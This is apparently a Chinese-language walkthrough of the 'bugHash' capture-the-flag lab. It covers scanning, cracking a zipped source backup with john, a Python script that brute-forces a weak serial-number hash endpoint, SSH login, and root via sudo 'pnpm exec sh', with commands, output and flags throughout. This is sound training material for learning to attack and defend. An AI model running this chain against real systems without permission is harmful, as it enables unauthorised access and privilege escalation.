Mazesec-bugHash-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
sudo arp-scan -l
[sudo] password for Pepster:
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.153 08:00:27:47:30:9a PCS Systemtechnik GmbH
192.168.60.254 00:50:56:f3:2c:1d VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.051 seconds (124.82 hosts/sec). 4 responded
export ip=192.168.60.153
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
To scan or not to scan? That is the question.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.153:22
Open 192.168.60.153:8080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-07 22:31 CST
Initiating ARP Ping Scan at 22:31
Scanning 192.168.60.153 [1 port]
Completed ARP Ping Scan at 22:31, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:31
Completed Parallel DNS resolution of 1 host. at 22:31, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:31
Scanning 192.168.60.153 [2 ports]
Discovered open port 22/tcp on 192.168.60.153
Discovered open port 8080/tcp on 192.168.60.153
Completed SYN Stealth Scan at 22:31, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.60.153
Host is up, received arp-response (0.00047s latency).
Scanned at 2025-06-07 22:31:39 CST for 0s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
8080/tcp open http-proxy syn-ack ttl 64
MAC Address: 08:00:27:47:30:9A (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 3 (116B) | Rcvd: 4 (358B)

得到8080端口开放

尝试探测是什么服务

发现技术栈是Express构建的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
❯ whatweb http://$ip:8080 -v
WhatWeb report for http://192.168.60.153:8080
Status : 200 OK
Title : 大傻子序列号验证系统
IP : 192.168.60.153
Country : RESERVED, ZZ

Summary : HTML5, Script, X-Powered-By[Express]

Detected Plugins:
[ HTML5 ]
HTML version 5, detected by the doctype declaration


[ Script ]
This plugin detects instances of script HTML elements and
returns the script language/type.


[ X-Powered-By ]
X-Powered-By HTTP header

String : Express (from x-powered-by string)

HTTP Headers:
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Fri, 06 Jun 2025 02:15:54 GMT
ETag: W/"2204-1974305fabe"
Content-Type: text/html; charset=utf-8
Content-Length: 8708
Date: Sat, 07 Jun 2025 14:32:23 GMT
Connection: close

目录枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ gobuster dir -u "http://$ip:8080" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.60.153:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Extensions: zip,txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 8708]
/css (Status: 301) [Size: 153] [--> /css/]
/js (Status: 301) [Size: 152] [--> /js/]
/robots.txt (Status: 200) [Size: 122]
Progress: 151469 / 1102800 (13.73%)
===============================================================
Finished
===============================================================

curl一下robots.txt

1
2
3
4
❯ curl $ip:8080/robots.txt
User-agent: QQGroupbot
Disallow: zip2john 2026bak.zip > ziphash
john --wordlist=/usr/share/wordlists/rockyou.txt ziphash%

存在备份文件,尝试下载下来,根据提示进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
❯ wget $ip:8080/2026bak.zip
--2025-06-07 22:36:49-- http://192.168.60.153:8080/2026bak.zip
Connecting to 192.168.60.153:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 676250 (660K) [application/zip]
Saving to: ‘2026bak.zip’

2026bak.zip 100%[=======================================================================>] 660.40K --.-KB/s in 0.1s

2025-06-07 22:36:49 (5.78 MB/s) - ‘2026bak.zip’ saved [676250/676250]

❯ zip2john 2026bak.zip >hash 2>/dev/null
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789 (2026bak.zip)
1g 0:00:00:00 DONE (2025-06-07 22:37) 50.00g/s 819200p/s 819200c/s 819200C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯ 7z x 2026bak.zip

7-Zip 24.08 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-08-11
64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 676250 bytes (661 KiB)

Extracting archive: 2026bak.zip
--
Path = 2026bak.zip
Type = zip
Physical Size = 676250


Enter password (will not be echoed):
Everything is Ok

Folders: 5
Files: 17
Size: 1165355
Compressed: 676250

Brute Hash

解压得到网页源码,查看app.js主程序

不过关键信息被隐去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
const express = require('express');
const path = require('path');

const app = express();
const port = process.env.PORT || 8080;

// 解析 JSON 请求体
app.use(express.json());

// 静态文件服务
app.use(express.static('public'));

// /checkSN 路由 (POST请求)
app.post('/checkSN', (req, res) => {
// 从请求体中获取 SN 参数
const sn = req.body.sn;

if (sn) {
if (sn === "xxxxxxxxxxxxxxxxxxxxxxxxx") {
res.json({
code: 200,
data: "xxxxxx:XXXXX",
msg: 'Success: Valid SN '
});
} else {
res.json({
code: 401,
data: null,
msg: 'Error: Invalid SN'
});
}
} else {
res.status(400).json({
code: 400,
data: null,
msg: 'Missing sn parameter in request body'
});
}
});
app.use((req, res) => {
res.status(404).json({
code: 404,
data: null,
msg: '404 Not Found'
});
});

app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`);
});

有个调用的js文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
document.addEventListener('DOMContentLoaded', function () {
const snInput = document.getElementById('sn-input');
const verifyBtn = document.getElementById('verify-btn');
const responseText = document.getElementById('response-text');
const statusIcon = document.getElementById('status-icon');
function cleanInput(value) {
return value.replace(/[^a-zA-Z0-9]/g, '').toUpperCase();
}
function formatSerialNumber(value) {
let cleanValue = cleanInput(value);
let formatted = '';
for (let i = 0; i < cleanValue.length; i++) {
if (i > 0 && i % 5 === 0) {
formatted += '-';
}
formatted += cleanValue[i];
}
return formatted;
}
snInput.addEventListener('input', function () {
const startPos = snInput.selectionStart;
const formattedValue = formatSerialNumber(snInput.value);
snInput.value = formattedValue;
let newPos = startPos;
if (startPos === 6 || startPos === 12 || startPos === 18 || startPos === 24) {
newPos = startPos + 1;
}
snInput.setSelectionRange(newPos, newPos);
});
snInput.addEventListener('keypress', function (e) {
if (e.key === 'Enter') {
verifySerialNumber();
}
});

verifyBtn.addEventListener('click', verifySerialNumber);
function verifySerialNumber() {
const serialNumber = cleanInput(snInput.value);
statusIcon.className = 'status-icon pending';
statusIcon.innerHTML = '<i class="fas fa-circle-notch fa-spin"></i>';
responseText.textContent = "验证中,请稍候...";
if (serialNumber.length !== 25) {
statusIcon.className = 'status-icon error';
statusIcon.innerHTML = '<i class="fas fa-exclamation-triangle"></i>';
responseText.textContent = '错误: 序列号长度不正确 (需要25个字符)';
return;
}
let hashSN = CreatehashSN(snInput.value);
// console.log("hashSN:", hashSN);

setTimeout(function () {
fetch('/checkSN', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ sn: hashSN })
})
.then(response => response.json())
.then(data => {
console.log("checkSN response:", data);
if (data.code === 200) {
statusIcon.className = 'status-icon success';
statusIcon.innerHTML = '<i class="fas fa-check-circle"></i>';
responseText.innerHTML = `序列号 <strong>${snInput.value}</strong> <br>验证成功!<br> ${data.data}`;
}
else {
statusIcon.className = 'status-icon error';
statusIcon.innerHTML = '<i class="fas fa-times-circle"></i>';
responseText.innerHTML = `序列号 <strong>${snInput.value}</strong> 验证失败!<br>状态: 无效或已被使用`;
}
});
}, 300);
}
});

// 随机数生成函数(使用Math.seedrandom)
function R(seed, min = 100, max = 200) {
// const rng = new Math.seedrandom(seed);
// // return Math.floor(rng() * (max - min + 1)) + min;
// return Math.floor((max - min + 1)) + min;
return seed + min + max;
}
function CreatehashSN(SN) {
// if(SN.length!== 29)
// {
// return "序列号长度不正确 (需要25个字符)";
// }
console.log("SN", SN);
const VI = "Jkdsfojweflk0024564555*";
const KEY = "6K+35LiN6KaB5bCd6K+V5pq05Yqb56C06Kej77yM5LuU57uG55yL55yL5Yqg5a+G5rqQ5Luj56CB44CC";

let a = [];
let b = [];
let e = [];
let f = [];
let z = [];

// 处理SN字符串
for (let i = 0; i < SN.length; i++) {
const charCode = SN.charCodeAt(i);

if (i >= 0 && i <= 4) {
a.push(R(charCode));
b.push(R(charCode));
e.push(R(charCode));
f.push(R(charCode));
z.push(R(charCode));
}
if (i >= 5 && i <= 9) {
b.push(R(charCode));
e.push(R(charCode));
f.push(R(charCode));
z.push(R(charCode));
}
if (i >= 10 && i <= 14) {
e.push(R(charCode));
f.push(R(charCode));
z.push(R(charCode));
}
if (i >= 15 && i <= 19) {
f.push(R(charCode));
z.push(R(charCode));
}
if (i >= 20 && i <= 24) {
z.push(R(charCode));
}
}
// console.log("a", a);
// console.log("b", b);
// console.log("e", e);
// console.log("f", f);
// console.log("z", z);
// e = Math.max(f, g);
if (a[0] > a[2] || a[1] > a[3]) {
a[0] = Math.max(a[0], a[1], a[2], a[3], a[4]);
} else {
a[0] = Math.min(a[0], a[1], a[2], a[3], a[4]);
}
if (b[4] > b[6]) {
b[0] = Math.max(b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7]);
} else {
b[0] = Math.min(b[0], b[1], b[2], b[3], b[4], b[5], b[6], b[7]);
}
if (e[8] > e[10] || e[9] > e[11]) {
e[0] = Math.max(e[0], e[1], e[2], e[3], e[4], e[5], e[6], e[7], e[8], e[9], e[10], e[11]);
} else {
e[0] = Math.min(e[0], e[1], e[2], e[3], e[4], e[5], e[6], e[7], e[8], e[9], e[10], e[11]);
}
if (f[0] > f[10]) {
f[0] = Math.max(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8], f[9], f[10], f[11], f[12], f[13], f[14], f[15], f[16], f[17], f[18], f[19]);
} else {
f[0] = Math.min(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8], f[9], f[10], f[11], f[12], f[13], f[14], f[15], f[16], f[17], f[18], f[19]);
}
if (z[15] > z[17] || z[18] > z[24]) {
z[0] = Math.max(z[0], z[1], z[2], z[3], z[4], z[5], z[6], z[7], z[8], z[9], z[10], z[11], z[12], z[13], z[14], z[15], z[16], z[17], z[18], z[19], z[20], z[21], z[22], z[23], z[24]);
} else {
z[0] = Math.min(z[0], z[1], z[2], z[3], z[4], z[5], z[6], z[7], z[8], z[9], z[10], z[11], z[12], z[13], z[14], z[15], z[16], z[17], z[18], z[19], z[20], z[21], z[22], z[23], z[24]);
}
// console.log("a[0]", a[0]);
// console.log("b[0]", b[0]);
// console.log("e[0]", e[0]);
// console.log("f[0]", f[0]);
// console.log("z[0]", z[0]);
let sum = 0;
for (let i = 0; i < a.length; i++) {
sum += a[i]
}
// console.log("sum", sum);
a[0] = (sum ^ a[0]) % 12;
a[0] = KEY.charAt(a[0]);

for (let i = 0; i < b.length; i++) {
sum += b[i]
}
// console.log("sum", sum);
b[0] = (sum ^ b[0]) % 9;
b[0] = KEY.charAt(b[0]);

for (let i = 0; i < e.length; i++) {
sum += e[i]
}
// console.log("sum", sum);

e[0] = (sum ^ e[0]) % 8;
e[0] = KEY.charAt(e[0]);


for (let i = 0; i < f.length; i++) {
sum += f[i]
}
// console.log("sum", sum);
f[0] = (sum ^ f[0]) % 7;
f[0] = KEY.charAt(f[0]);

for (let i = 0; i < z.length; i++) {
sum += z[i]
}
// console.log("sum", sum);
z[0] = (sum ^ z[0]) % 6;
z[0] = VI.charAt(z[0]);

// console.log("a[0]", a[0]);
// console.log("b[0]", b[0]);
// console.log("e[0]", e[0]);
// console.log("f[0]", f[0]);
// console.log("z[0]", z[0]);
let hashSN = md5(a[0] + b[0] + e[0] + f[0] + z[0]);
// console.log("hashSN", hashSN);
return hashSN;
}

在底部定义了CreatehashSN的函数,指明了是如何生成SN码的

a b e f z五个字符相加进行md5即为最终传入/checkSN的POST请求体

hashSN = md5(a[0] + b[0] + e[0] + f[0] + z[0])

根据代码逻辑我们可以判断SN码的构成字典由上方定义的两个常量里获得VI KEY

在处理SN字符串部分,可以得知对每个传入的SN码进行处理R函数处理

R函数显然是一个生成随机数的函数,只有一个运算seed + min + max,而后续都被注释了,如果没有显示传入的话就是默认值100200

这也就解释了靶机名字是bugHash

可以利用Devtools下个断点看一下,传入的SN是否被随机了,我传入全是1的SN码

image

可以看到a为49+100+200=349所以这个R是没有随机数的功能的,只有进行了加法运算

所以SN码是可以被爆破的

利用如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import hashlib

KEY = "6K+35LiN6KaB5bCd6K+V5pq05Yqb56C06Kej77yM5LuU57uG55yL55yL5Yqg5a+G5rqQ5Luj56CB44CC"
VI = "Jkdsfojweflk0024564555*"
URL = "http://192.168.60.153:8080/checkSN" # 替换成目标 URL


# 检查解码后的 KEY 长度
print(f"KEY length: {len(KEY)}")
# 检查 VI 长度
print(f"VI length: {len(VI)}")

# 根据 JavaScript 中的取模范围来定义循环范围
# a[0] = (sumA ^ a[0_val]) % 12; // 索引范围 0-11
# b[0] = (sumB ^ b[0_val]) % 9; // 索引范围 0-8
# e[0] = (sumE ^ e[0_val]) % 8; // 索引范围 0-7
# f[0] = (sumF ^ f[0_val]) % 7; // 索引范围 0-6
# z[0] = (sumZ ^ z[0_val]) % 6; // 索引范围 0-5

for a_idx in range(12): # corresponds to a[0] % 12
# 确保索引在 KEY 的有效范围内
if a_idx >= len(KEY):
continue
char_a = KEY[a_idx]

for b_idx in range(9): # corresponds to b[0] % 9
if b_idx >= len(KEY):
continue
char_b = KEY[b_idx]

for e_idx in range(8): # corresponds to e[0] % 8
if e_idx >= len(KEY):
continue
char_e = KEY[e_idx]

for f_idx in range(7): # corresponds to f[0] % 7
if f_idx >= len(KEY):
continue
char_f = KEY[f_idx]

for z_idx in range(6): # corresponds to z[0] % 6
# 确保索引在 VI 的有效范围内
if z_idx >= len(VI):
continue
char_z = VI[z_idx]

combo = char_a + char_b + char_e + char_f + char_z
md5_hash = hashlib.md5(combo.encode('utf-8')).hexdigest() # 确保编码为 utf-8

print(f"Trying: {combo} -> MD5: {md5_hash}")

try:
response = requests.post(URL, json={"sn": md5_hash}, timeout=5) # 增加超时
response_json = response.json()
if response_json.get("code") == 200:
print(f"✅ 成功!SN 组合: {combo} -> MD5: {md5_hash}")
exit()
except requests.exceptions.RequestException as e:
print(f"请求失败: {e}")
# 可以在这里选择是否继续,或者等待一段时间
pass

print("❌ 未找到有效 SN")

image

可以得到正确的md5,传到checkSN中即可获得凭证welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111

1
2
❯ curl 'http://192.168.60.154:8080/checkSN'  -X POST -H "Content-Type: application/json" -d '{"sn":"ee5a82db0f9bf1c1903821477e11c067"}'
{"code":200,"data":"welcome:DPKU9-8APJ9-8XZJ0-8XZ08-7H111","msg":"Success: Valid SN "}%

用户提权

ssh连接一下

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh welcome@$ip
The authenticity of host '192.168.60.154 (192.168.60.154)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.60.154' (ED25519) to the list of known hosts.
[email protected]'s password:
=============================
Welcome!!!
QQ Group:660930334
=============================
lingdong:~$ cat user.txt
flag{user-afc8b494c5ba167971f10274f5a81534}

Root提权

用户拥有sudo权限

可以执行pnpm pm2等程序

1
2
3
4
5
6
7
8
9
10
lingdong:~$ sudo -l
Matching Defaults entries for welcome on lingdong:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for welcome:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User welcome may run the following commands on lingdong:
(ALL : ALL) NOPASSWD: /root/.local/share/pnpm/global-bin/pm2
(ALL : ALL) NOPASSWD: /usr/bin/pnpm

pnpm是个包管理器

查看help得知exec参数可以执行shell命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
lingdong:~$ sudo /usr/bin/pnpm -h
Version 10.11.1 (compiled to binary; bundled Node.js v20.11.1)
Usage: pnpm [command] [flags]
pnpm [ -h | --help | -v | --version ]

Manage your dependencies:
add Installs a package and any packages that it depends on. By default, any new package is installed as a prod dependency
import Generates a pnpm-lock.yaml from an npm package-lock.json (or npm-shrinkwrap.json) file
i, install Install all dependencies for a project
it, install-test Runs a pnpm install followed immediately by a pnpm test
ln, link Connect the local project to another one
prune Removes extraneous packages
rb, rebuild Rebuild a package
rm, remove Removes packages from node_modules and from the project's package.json
unlink Unlinks a package. Like yarn unlink but pnpm re-installs the dependency after removing the external link
up, update Updates packages to their latest version based on the specified range

Review your dependencies:
audit Checks for known security issues with the installed packages
licenses Check licenses in consumed packages
ls, list Print all the versions of packages that are installed, as well as their dependencies, in a tree-structure
outdated Check for outdated packages

Run your scripts:
exec Executes a shell command in scope of a project
run Runs a defined package script
start Runs an arbitrary command specified in the package's "start" property of its "scripts" object
t, test Runs a package's "test" script, if one was provided

Other:
cat-file Prints the contents of a file based on the hash value stored in the index file
cat-index Prints the index file of a specific package from the store
find-hash Experimental! Lists the packages that include the file with the specified hash.
pack Create a tarball from a package
publish Publishes a package to the registry
root Prints the effective modules directory

Manage your store:
store add Adds new packages to the pnpm store directly. Does not modify any projects or files outside the store
store path Prints the path to the active store directory
store prune Removes unreferenced (extraneous, orphan) packages from the store
store status Checks for modified packages in the store

Options:
-r, --recursive Run the command for each project in the workspace.

直接利用pnpm进行执行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lingdong:~$ sudo /usr/bin/pnpm init
Wrote to /home/welcome/package.json

{
"name": "welcome",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC",
"packageManager": "[email protected]"
}
lingdong:~$ sudo /usr/bin/pnpm exec id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
lingdong:~$ sudo /usr/bin/pnpm exec sh
/home/welcome # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/home/welcome # cat /root/root.txt
flag{root-b89ed76b27e91ad5d773ddadae256072}
总字数 633.1k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务